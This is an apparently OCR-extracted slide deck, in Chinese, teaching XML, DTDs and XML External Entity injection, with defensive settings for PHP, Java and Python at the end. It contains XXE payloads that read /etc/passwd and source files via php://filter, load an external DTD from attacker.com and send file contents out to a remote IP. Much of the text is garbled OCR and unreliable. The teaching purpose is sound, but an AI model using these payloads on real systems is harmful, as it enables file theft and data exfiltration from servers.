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i XML

eXtensible Markup Language
Al BtRCIES




XML

iy

[ |

N

version="1.8" encoding="UTF-8
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance
xmlns="http://java.sun.com/xml/ns/javaee” xmlns:web="http://java.sun.com/xml/ns/javaee
xsi:schemalLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/
web-app 2 5.xsd
id="WebApp ID" version="2.5

xx1-job-executor-sample-spring

webAppRootKey
xx1-job-executor-sample-spring

<!-- spring -->

contextConfiglocation
classpath*:applicationcontext-*.xml




XMLHH;
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AHRET

Thi

“HRERRFRRAIEE (ATRARRS )

2.2. 3 LK

F . =
- | W | BEEER <XML Tag> B E-. 4] '
= =&
1. Message root <= [1..1]
2. GroupHeader <CrpHdr> [1..1] CiFE=LiAfE
CreditInformation
3. <CdtrInf> [1..1]
HEARER
——Issner
4, = <Izsr> [0..1] | Max12NumericText
HRAFPITS
——Identification
5. - <Td> [0..1] | Max32Text
HEARS
——Name
6. <Nm> [0..1] | Max&OText
HEABRE
DebtorInformation
7. <DbtrInf> [1..1]
AR
--Issner
8. . <Izsr> [0..1] | Max12NumericText
WRARPITTS
--Identification
9. = <Td> [0..1] | Max32Text
WEAKS
—-Name
10. <Nm> [0..1] | MaxADText
WA BT
Amount
11 P <Amt> [1..1] | CorrencyAndAmount
BEhasS . 2%
CategoryPurposeCode
12. <CtgyPurplds> [1..1] | Max5Text
HEFh2EED
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version="1.0" encoding="UTF-8 XMLFEHB

XMLUIRTTER

XMLF75E=
6226097558881666

K=

6222083803003983
=M

1000




i XMLUSTUESK

XM
XM
XM
XM
XM
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i XMUSTURSES

DTD (Document Type Definition )
NIEFEBITEN




i DTDRNBEZITE

DOCTYPE TranInfol
ELEMENT TranInfo(CdtrInf,DbtrInf, Amt
ELEMENT CdtrInf(Id,Nm

ELEMENT DbtrInf(Id,Nm
1>

ATES
ELEMENT



i DTDAREZELIK

version="1.0" encoding="UTF-8
DOCTYPE name|

ELEMENT name ANY
ENTITY cs "changsha 1>

SLUR
ENTITY



: SCONENTITYBY(E R

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE name>

wuyd - <people>
. <name>wuya</name>
CS,
<area>changsha</area>
</people>

PIEBSEAR
INTERNAL [zn'ta:nl] ENTITY



t ANEBSCRENTITYRY(EFE

U]

version="1.0" encoding="UTF-8
DOCTYPE name|
<!ELEMENT name ANY >
J!ENTITY xxe SYSTEM "file:///D:/test/test.dtd" >

1>

wuya
XXe;

/)"|"EZ|3§E1Z|§ ENTITY cs "changsha” >]>
EXTERNAL [1k'st3:nl] ENTITY



i INEBSEURS | FE 11N

iy | @A

file file:///etc//passwd

php php://filter/read=convert.base64-
encode/resource=index.php

http http//:wuya.com/evil.dtd



ll:l = ﬁj:—.l'ﬁljﬂj‘]«!
Libxml2 |PHP  |Java  |.NET
file file file file
http http http http
ftp ftp https https
php ftp ftp

compress.zlib  jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar



: PHPY /&

m Extension Required

https openssl
ftps

Zip Zip
ssh2.shell ssh?
ssh2.exec

ssh2.tunnel

ssh2.sftp

ssh2.scp

rar rar

0gg oggvorbis

expect expect



Ay 3 . == n[E =
<l-- B—E : XMLERBES -->
version="1.0

<l-- FIERS 1 XHHZE
DOCTYPE note[
<! --NERREFER-->
|!ENTITY entity-name SYSTEM "URI/URL">

C M ITER -->

GiGi
Reminder
fish together
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XXE

| version="1.0" encoding="UTF-8"?>
<IDOCTYPE foo [

<VELEMENT foo ANY >

CVENTITY xxe SYSTEM "file:///c:/test.dtd"” >]>

>&XXE ;<
>Mypass</

XMLYPMEBSEREN
XML External Entity Injection
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ANERWeb N BRI IS KB IRBIXMLE | AFMEB
sciR, MMEREP e LIEN— I IMEEEEIR, F+
Hy /\Jéxﬁﬂﬁ&% a7, FBRAREEE]
BeSBUTE S ?\gf‘.np e #l, . AMimE
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e
EZIXXERE

RfE=T=EEMN

)|

BHHER, S EERERE:

MEETEEEEMSRENFTENES a5 — &R E, BEEEsSLEE )/ AEESE
HEE—mEEEE. [EREEFEE] @ http//url.cn/5Po1tsA

MEZEREAEEFESASELSHE, EESNEERE. RRElliESRE, #8250
SERETEENS.

AFREARESES, AEEMET2018E108 258 R ESMEF g S R R
faie. dWIE5ED, BHEDEEFE WePayTS@tencent.com BRiEHEAEL. BH=E, ME=EHSE
HE2TE .

fAE=TEEA
2018569H29<
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N=tik

IREfE
JRepeater

:%'T‘JJI]DTD =1

xxezliz;

IXML{EH)

&
JFNERIRI S

(IMEAE)




5+J-DNSLog

version="1.0" encoding="UTF-8
DOCTYPE root [

ENTITY % remote SYSTEM "http://aaabbb.fiaz84.dnslog.cn
remote;]‘




i Bf]-httpiO28, BANKE

version="1.0">
pOCTYPE BN
<IENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
A

ENTITY 7% file SYSTEM
php://filter/read=convert.base64-encode/
resource=file:///c:/system.ini

ENTITY int ENTITY &#37; send SYSTEM'http://192.168.1
42.135:8080°?p=%file; " ">
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: PHP

libxml disable entity loader(true);



: Java

DocumentBuilderFactory dbf
=DocumentBuilderFactory.newlnstance();
dbf.setExpandEntityReferences(false);



i Python

from Ixml import etree
xm|Data =

etree.parse(xmlSource,etree XMLParser(resolve entities=Fa
Ise))



; ﬂ_“lt' FPIRATEIXMLET

THll

'"'Stwo apostrophe)

<!
<! [CDATA[/1]>



: WAF

LAmod security 545l



Thank you for watching



